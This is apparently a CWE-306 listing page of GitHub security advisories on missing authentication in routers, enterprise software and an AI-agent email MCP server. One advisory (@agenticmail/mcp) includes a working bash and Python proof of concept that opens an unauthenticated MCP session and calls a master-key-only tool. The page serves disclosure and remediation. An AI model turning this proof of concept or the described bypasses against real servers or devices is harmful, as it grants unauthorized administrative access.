CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3570 vulnerabilities reference this CWE, most recent first.
GHSA-62XX-9H8P-6HM3
Vulnerability from github – Published: 2022-12-08 18:30 – Updated: 2022-12-10 03:30An issue in the component tpi_systool_handle(0) (/goform/SysToolRestoreSet) of Tenda W6-S v1.0.0.4(510) allows unauthenticated attackers to arbitrarily reboot the device.
{
"affected": [],
"aliases": [
"CVE-2022-45504"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-08T16:15:00Z",
"severity": "HIGH"
},
"details": "An issue in the component tpi_systool_handle(0) (/goform/SysToolRestoreSet) of Tenda W6-S v1.0.0.4(510) allows unauthenticated attackers to arbitrarily reboot the device.",
"id": "GHSA-62xx-9h8p-6hm3",
"modified": "2022-12-10T03:30:43Z",
"published": "2022-12-08T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45504"
},
{
"type": "WEB",
"url": "https://github.com/z1r00/IOT_Vul/blob/main/Tenda/W6-S/SysToolRestoreSet/readme.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-634P-J2XC-X69M
Vulnerability from github – Published: 2022-05-17 00:34 – Updated: 2022-05-17 00:34IBM Security Identity Manager Adapters 6.0 and 7.0 does not perform an authentication check for a critical resource or functionality allowing anonymous users access to protected areas. IBM X-Force ID: 128621.
{
"affected": [],
"aliases": [
"CVE-2017-1483"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-28T01:29:00Z",
"severity": "HIGH"
},
"details": "IBM Security Identity Manager Adapters 6.0 and 7.0 does not perform an authentication check for a critical resource or functionality allowing anonymous users access to protected areas. IBM X-Force ID: 128621.",
"id": "GHSA-634p-j2xc-x69m",
"modified": "2022-05-17T00:34:44Z",
"published": "2022-05-17T00:34:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1483"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/128621"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg22007375"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101013"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-635M-5QWW-W7GW
Vulnerability from github – Published: 2025-12-18 15:30 – Updated: 2025-12-18 15:30WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28) is vulnerable to Broken Access Control in initial configuration wizard.cgi endpoint. Malicious attacker can change admin panel password without authorization. The vulnerability can also be exploited after the initial configuration has been set.
The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version WDR28081123OV1.01 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.
{
"affected": [],
"aliases": [
"CVE-2025-65010"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T15:16:01Z",
"severity": "HIGH"
},
"details": "WODESYS\u00a0WD-R608U router (also known as WDR122B V2.0 and WDR28) is vulnerable\u00a0to Broken Access Control in initial configuration wizard.cgi endpoint. Malicious attacker can change admin panel password without authorization. The vulnerability can also be exploited after the initial configuration has been set.\n\nThe vendor was notified early about this vulnerability, but didn\u0027t respond with the details of vulnerability or vulnerable version range. Only version WDR28081123OV1.01 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.",
"id": "GHSA-635m-5qww-w7gw",
"modified": "2025-12-18T15:30:45Z",
"published": "2025-12-18T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65010"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2025/12/CVE-2025-65007"
},
{
"type": "WEB",
"url": "https://github.com/wcyb/security_research"
},
{
"type": "WEB",
"url": "http://www.wodesys.com/eproductms52.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6388-29MV-4HJX
Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2022-05-13 01:10D-Link routers with the mydlink feature have some web interfaces without authentication requirements. An attacker can remotely obtain users' DNS query logs and login logs. Vulnerable targets include but are not limited to the latest firmware versions of DIR-817LW (A1-1.04), DIR-816L (B1-2.06), DIR-816 (B1-2.06?), DIR-850L (A1-1.09), and DIR-868L (A1-1.10).
{
"affected": [],
"aliases": [
"CVE-2019-7642"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-25T22:29:00Z",
"severity": "HIGH"
},
"details": "D-Link routers with the mydlink feature have some web interfaces without authentication requirements. An attacker can remotely obtain users\u0027 DNS query logs and login logs. Vulnerable targets include but are not limited to the latest firmware versions of DIR-817LW (A1-1.04), DIR-816L (B1-2.06), DIR-816 (B1-2.06?), DIR-850L (A1-1.09), and DIR-868L (A1-1.10).",
"id": "GHSA-6388-29mv-4hjx",
"modified": "2022-05-13T01:10:37Z",
"published": "2022-05-13T01:10:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7642"
},
{
"type": "WEB",
"url": "https://github.com/xw77cve/CVE-2019-7642/blob/master/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-639W-2R2J-2X43
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-07-16 00:00Sage X3 System CHAINE Variable Script Command Injection. An authenticated user with developer access can pass OS commands via this variable used by the web application. Note, this developer configuration should not be deployed in production.
{
"affected": [],
"aliases": [
"CVE-2020-7389"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-22T19:15:00Z",
"severity": "HIGH"
},
"details": "Sage X3 System CHAINE Variable Script Command Injection. An authenticated user with developer access can pass OS commands via this variable used by the web application. Note, this developer configuration should not be deployed in production.",
"id": "GHSA-639w-2r2j-2x43",
"modified": "2022-07-16T00:00:22Z",
"published": "2022-05-24T19:08:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7389"
},
{
"type": "WEB",
"url": "https://rapid7.com/blog/post/2021/07/07/sage-x3-multiple-vulnerabilities-fixed"
},
{
"type": "WEB",
"url": "https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-63GR-G7JC-V8RG
Vulnerability from github – Published: 2026-06-01 13:58 – Updated: 2026-06-12 22:01AgenticMail MCP HTTP authorization bypass
Summary
@agenticmail/mcp exposes a Streamable HTTP transport when started with
--http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests
without any HTTP authentication layer. A remote client can initialize a
session and call tools directly.
The problem is that the MCP server also exposes tools documented as requiring
AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its
own configured master key. As a result, any client that can reach the MCP HTTP
port can invoke master-only operations without knowing the master key.
Impact
An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions.
Confirmed with a read-only tool:
setup_guide
The same path reaches higher-impact tools such as:
setup_email_relaysetup_email_domaindelete_agentcleanup_agentssend_test_email
Affected Code
packages/mcp/src/index.tspackages/mcp/src/tools.tspackages/mcp/README.md
Relevant observations:
packages/mcp/src/index.tsstarts an HTTP server for/mcpwithout checking an Authorization header.packages/mcp/src/tools.tsmarks gateway/admin tools as master-key tools and forwards them with the server-sideAGENTICMAIL_MASTER_KEY.packages/mcp/README.mddocuments that gateway/admin tools require the master key.
Reproduction
Use the bundled one-command PoC runner:
cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh
Expected success output:
[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`
PoC Files
- scripts/run_agenticmail_mcp_http_unauth_poc.sh
- One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes.
- scripts/agenticmail_mcp_http_unauth_poc.py
- Unauthenticated MCP client that sends
initializeand then callssetup_guide.
Inline PoC
The following PoC is non-destructive. It calls setup_guide, which is
documented as a master-key tool but only returns setup guidance.
scripts/run_agenticmail_mcp_http_unauth_poc.sh
#!/usr/bin/env bash
set -euo pipefail
REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"
API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"
mkdir -p "$DATA_DIR" "$LOG_DIR"
node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
exit 2
fi
find_free_port() {
python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
print(sock.getsockname()[1])
PY
}
[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"
api_pid=""
mcp_pid=""
cleanup() {
set +e
[[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
[[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT
wait_tcp() {
local host="$1"
local port="$2"
local name="$3"
for _ in $(seq 1 60); do
if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
sock.connect((sys.argv[1], int(sys.argv[2])))
sys.exit(0)
except Exception:
sys.exit(1)
finally:
sock.close()
PY
then
echo "[+] $name is listening: $host:$port"
return 0
fi
sleep 1
done
echo "[-] Timed out waiting for $name: $host:$port" >&2
return 1
}
cd "$REPO_DIR"
echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
export AGENTICMAIL_API_HOST="$API_HOST"
export AGENTICMAIL_API_PORT="$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"
echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"
echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"
scripts/agenticmail_mcp_http_unauth_poc.py
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import json
import sys
import urllib.error
import urllib.request
def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
data = json.dumps(payload).encode("utf-8")
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if session_id:
headers["mcp-session-id"] = session_id
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode("utf-8", errors="replace")
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
return exc.code, dict(exc.headers), body
def parse_sse_or_json(body: str) -> list[dict]:
events: list[dict] = []
stripped = body.strip()
if not stripped:
return events
if stripped.startswith("{") or stripped.startswith("["):
parsed = json.loads(stripped)
return parsed if isinstance(parsed, list) else [parsed]
for line in body.splitlines():
if not line.startswith("data:"):
continue
data = line[len("data:") :].strip()
if not data:
continue
try:
events.append(json.loads(data))
except json.JSONDecodeError:
pass
return events
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
parser.add_argument("--tool", default="setup_guide")
args = parser.parse_args()
init_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
},
}
status, headers, body = post_json(args.url, init_payload)
print(f"[+] initialize HTTP status: {status}")
print(f"[+] initialize response body: {body[:500]}")
session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
if not session_id:
print("[-] No mcp-session-id header returned")
return 2
print(f"[+] received mcp-session-id without authentication: {session_id}")
post_json(args.url, {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}, session_id=session_id)
status, _headers, body = post_json(args.url, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": args.tool, "arguments": {}},
}, session_id=session_id)
print(f"[+] tools/call({args.tool}) HTTP status: {status}")
print("[+] raw response:")
print(body)
if any("result" in msg for msg in parse_sse_or_json(body)):
print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
return 0
print("[-] Tool call did not return a result")
return 1
if __name__ == "__main__":
sys.exit(main())
Why This Is a Vulnerability
The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for
administrative and gateway operations. HTTP MCP mode removes the client-side
authentication boundary entirely, so an unauthenticated network client becomes
an indirect caller of master-only API functionality.
Suggested Fix
- Require authentication for HTTP MCP mode.
- Bind the MCP HTTP server to
127.0.0.1by default. - Reject
/mcprequests that lack a valid bearer token or shared secret. - Disable master-key tools when the transport is unauthenticated.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@agenticmail/mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50287"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-01T13:58:33Z",
"nvd_published_at": "2026-06-12T20:16:46Z",
"severity": "HIGH"
},
"details": "# AgenticMail MCP HTTP authorization bypass\n\n## Summary\n\n`@agenticmail/mcp` exposes a Streamable HTTP transport when started with\n`--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests\nwithout any HTTP authentication layer. A remote client can initialize a\nsession and call tools directly.\n\nThe problem is that the MCP server also exposes tools documented as requiring\n`AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its\nown configured master key. As a result, any client that can reach the MCP HTTP\nport can invoke master-only operations without knowing the master key.\n\n## Impact\n\nAn unauthenticated network client can invoke master-key-only MCP tools through\nthe server, including administrative and gateway actions.\n\nConfirmed with a read-only tool:\n\n- `setup_guide`\n\nThe same path reaches higher-impact tools such as:\n\n- `setup_email_relay`\n- `setup_email_domain`\n- `delete_agent`\n- `cleanup_agents`\n- `send_test_email`\n\n## Affected Code\n\n- `packages/mcp/src/index.ts`\n- `packages/mcp/src/tools.ts`\n- `packages/mcp/README.md`\n\nRelevant observations:\n\n- `packages/mcp/src/index.ts` starts an HTTP server for `/mcp` without\n checking an Authorization header.\n- `packages/mcp/src/tools.ts` marks gateway/admin tools as master-key tools\n and forwards them with the server-side `AGENTICMAIL_MASTER_KEY`.\n- `packages/mcp/README.md` documents that gateway/admin tools require the\n master key.\n\n## Reproduction\n\nUse the bundled one-command PoC runner:\n\n```bash\ncd agenticmail\n./scripts/run_agenticmail_mcp_http_unauth_poc.sh\n```\n\nExpected success output:\n\n```text\n[+] received mcp-session-id without authentication: ...\n[+] tools/call(setup_guide) HTTP status: 200\n[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`\n```\n\n## PoC Files\n\n- [scripts/run_agenticmail_mcp_http_unauth_poc.sh](scripts/run_agenticmail_mcp_http_unauth_poc.sh)\n - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the\n client PoC, and cleans up background processes.\n- [scripts/agenticmail_mcp_http_unauth_poc.py](scripts/agenticmail_mcp_http_unauth_poc.py)\n - Unauthenticated MCP client that sends `initialize` and then calls\n `setup_guide`.\n\n## Inline PoC\n\nThe following PoC is non-destructive. It calls `setup_guide`, which is\ndocumented as a master-key tool but only returns setup guidance.\n\n### `scripts/run_agenticmail_mcp_http_unauth_poc.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO_DIR=\".\"\nPOC=\"scripts/agenticmail_mcp_http_unauth_poc.py\"\n\nAPI_HOST=\"${API_HOST:-127.0.0.1}\"\nAPI_PORT=\"${API_PORT:-}\"\nMCP_PORT=\"${MCP_PORT:-}\"\nMASTER_KEY=\"${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}\"\nDATA_DIR=\"${AGENTICMAIL_DATA_DIR:-.poc-data}\"\nLOG_DIR=\"${LOG_DIR:-.poc-logs}\"\n\nmkdir -p \"$DATA_DIR\" \"$LOG_DIR\"\n\nnode_major=\"$(node -p \u0027Number(process.versions.node.split(\".\")[0])\u0027 2\u003e/dev/null || echo 0)\"\nif (( node_major \u003c 20 )); then\n echo \"[-] Node.js 20+ is required; current node is: $(node -v 2\u003e/dev/null || echo missing)\" \u003e\u00262\n exit 2\nfi\n\nfind_free_port() {\n python3 - \u003c\u003c\u0027PY\u0027\nimport socket\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((\"127.0.0.1\", 0))\n print(sock.getsockname()[1])\nPY\n}\n\n[[ -n \"$API_PORT\" ]] || API_PORT=\"$(find_free_port)\"\n[[ -n \"$MCP_PORT\" ]] || MCP_PORT=\"$(find_free_port)\"\n\napi_pid=\"\"\nmcp_pid=\"\"\ncleanup() {\n set +e\n [[ -z \"${mcp_pid:-}\" ]] || kill \"$mcp_pid\" 2\u003e/dev/null || true\n [[ -z \"${api_pid:-}\" ]] || kill \"$api_pid\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\nwait_tcp() {\n local host=\"$1\"\n local port=\"$2\"\n local name=\"$3\"\n for _ in $(seq 1 60); do\n if python3 - \"$host\" \"$port\" \u003e/dev/null 2\u003e\u00261 \u003c\u003c\u0027PY\u0027\nimport socket\nimport sys\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(1)\ntry:\n sock.connect((sys.argv[1], int(sys.argv[2])))\n sys.exit(0)\nexcept Exception:\n sys.exit(1)\nfinally:\n sock.close()\nPY\n then\n echo \"[+] $name is listening: $host:$port\"\n return 0\n fi\n sleep 1\n done\n echo \"[-] Timed out waiting for $name: $host:$port\" \u003e\u00262\n return 1\n}\n\ncd \"$REPO_DIR\"\n\necho \"[+] Starting AgenticMail API on $API_HOST:$API_PORT\"\n(\n export AGENTICMAIL_API_HOST=\"$API_HOST\"\n export AGENTICMAIL_API_PORT=\"$API_PORT\"\n export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n npm run dev:api\n) \u003e\"$LOG_DIR/api.log\" 2\u003e\u00261 \u0026\napi_pid=\"$!\"\nwait_tcp \"$API_HOST\" \"$API_PORT\" \"AgenticMail API\"\n\necho \"[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT\"\n(\n export AGENTICMAIL_API_URL=\"http://$API_HOST:$API_PORT\"\n export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n npm --workspace=@agenticmail/mcp run dev -- --http \"--port=$MCP_PORT\"\n) \u003e\"$LOG_DIR/mcp.log\" 2\u003e\u00261 \u0026\nmcp_pid=\"$!\"\nwait_tcp \"127.0.0.1\" \"$MCP_PORT\" \"AgenticMail MCP HTTP server\"\n\necho \"[+] Running unauthenticated MCP client PoC\"\npython3 \"$POC\" --url \"http://127.0.0.1:$MCP_PORT/mcp\"\n```\n\n### `scripts/agenticmail_mcp_http_unauth_poc.py`\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport sys\nimport urllib.error\nimport urllib.request\n\n\ndef post_json(url: str, payload: dict, session_id: str | None = None) -\u003e tuple[int, dict, str]:\n data = json.dumps(payload).encode(\"utf-8\")\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n if session_id:\n headers[\"mcp-session-id\"] = session_id\n\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=15) as resp:\n body = resp.read().decode(\"utf-8\", errors=\"replace\")\n return resp.status, dict(resp.headers), body\n except urllib.error.HTTPError as exc:\n body = exc.read().decode(\"utf-8\", errors=\"replace\")\n return exc.code, dict(exc.headers), body\n\n\ndef parse_sse_or_json(body: str) -\u003e list[dict]:\n events: list[dict] = []\n stripped = body.strip()\n if not stripped:\n return events\n if stripped.startswith(\"{\") or stripped.startswith(\"[\"):\n parsed = json.loads(stripped)\n return parsed if isinstance(parsed, list) else [parsed]\n for line in body.splitlines():\n if not line.startswith(\"data:\"):\n continue\n data = line[len(\"data:\") :].strip()\n if not data:\n continue\n try:\n events.append(json.loads(data))\n except json.JSONDecodeError:\n pass\n return events\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--url\", default=\"http://127.0.0.1:8014/mcp\")\n parser.add_argument(\"--tool\", default=\"setup_guide\")\n args = parser.parse_args()\n\n init_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2025-03-26\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"agenticmail-unauth-poc\", \"version\": \"0.1\"},\n },\n }\n\n status, headers, body = post_json(args.url, init_payload)\n print(f\"[+] initialize HTTP status: {status}\")\n print(f\"[+] initialize response body: {body[:500]}\")\n session_id = headers.get(\"mcp-session-id\") or headers.get(\"Mcp-Session-Id\")\n if not session_id:\n print(\"[-] No mcp-session-id header returned\")\n return 2\n print(f\"[+] received mcp-session-id without authentication: {session_id}\")\n\n post_json(args.url, {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {},\n }, session_id=session_id)\n\n status, _headers, body = post_json(args.url, {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\"name\": args.tool, \"arguments\": {}},\n }, session_id=session_id)\n print(f\"[+] tools/call({args.tool}) HTTP status: {status}\")\n print(\"[+] raw response:\")\n print(body)\n\n if any(\"result\" in msg for msg in parse_sse_or_json(body)):\n print(f\"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`\")\n return 0\n\n print(\"[-] Tool call did not return a result\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\n## Why This Is a Vulnerability\n\nThe project treats `AGENTICMAIL_MASTER_KEY` as the authorization boundary for\nadministrative and gateway operations. HTTP MCP mode removes the client-side\nauthentication boundary entirely, so an unauthenticated network client becomes\nan indirect caller of master-only API functionality.\n\n\n## Suggested Fix\n\n- Require authentication for HTTP MCP mode.\n- Bind the MCP HTTP server to `127.0.0.1` by default.\n- Reject `/mcp` requests that lack a valid bearer token or shared secret.\n- Disable master-key tools when the transport is unauthenticated.",
"id": "GHSA-63gr-g7jc-v8rg",
"modified": "2026-06-12T22:01:50Z",
"published": "2026-06-01T13:58:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/security/advisories/GHSA-63gr-g7jc-v8rg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50287"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/commit/7b9b05d973676e9f3d097c08b8e649f59bfc15d0"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/commit/7d1791da7c8c8bd4e70d7081db48e18ab55f6736"
},
{
"type": "PACKAGE",
"url": "https://github.com/agenticmail/agenticmail"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/CHANGELOG.md?plain=1#L10"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/README.md?plain=1#L13"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/src/index.ts#L311"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@agenticmail/mcp Missing Authentication for Critical Function"
}
GHSA-63RP-VFR8-4QW7
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-09-25 12:30Missing authentication in the StudentPopupDetails_ContactDetails method in IDAttend’s IDWeb application 3.1.052 and earlier allows extraction of sensitive student data by unauthenticated attackers.
{
"affected": [],
"aliases": [
"CVE-2023-27375"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:26Z",
"severity": "HIGH"
},
"details": "Missing authentication in the StudentPopupDetails_ContactDetails method in IDAttend\u2019s IDWeb application 3.1.052 and earlier allows extraction of sensitive student data by unauthenticated attackers. ",
"id": "GHSA-63rp-vfr8-4qw7",
"modified": "2024-09-25T12:30:40Z",
"published": "2023-10-25T18:32:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27375"
},
{
"type": "WEB",
"url": "https://www.themissinglink.com.au/security-advisories/cve-2023-27375"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-63WQ-2PXV-W7P6
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:09An issue was discovered on V-Zug Combi-Steam MSLQ devices before Ethernet R07 and before WLAN R05. By default, the device does not enforce any authentication. An adjacent attacker is able to use the network interface without proper access control.
{
"affected": [],
"aliases": [
"CVE-2019-17219"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-06T16:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on V-Zug Combi-Steam MSLQ devices before Ethernet R07 and before WLAN R05. By default, the device does not enforce any authentication. An adjacent attacker is able to use the network interface without proper access control.",
"id": "GHSA-63wq-2pxv-w7p6",
"modified": "2024-04-04T02:09:08Z",
"published": "2022-05-24T16:57:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17219"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.134115"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-649M-64R3-9Q4F
Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19IBM Security Key Lifecycle Manager 2.7 and 3.0 could allow an unauthenticated user to restart the SKLM server due to missing authentication. IBM X-Force ID: 148424.
{
"affected": [],
"aliases": [
"CVE-2018-1745"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-11T12:29:00Z",
"severity": "HIGH"
},
"details": "IBM Security Key Lifecycle Manager 2.7 and 3.0 could allow an unauthenticated user to restart the SKLM server due to missing authentication. IBM X-Force ID: 148424.",
"id": "GHSA-649m-64r3-9q4f",
"modified": "2022-05-13T01:19:25Z",
"published": "2022-05-13T01:19:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1745"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/148424"
},
{
"type": "WEB",
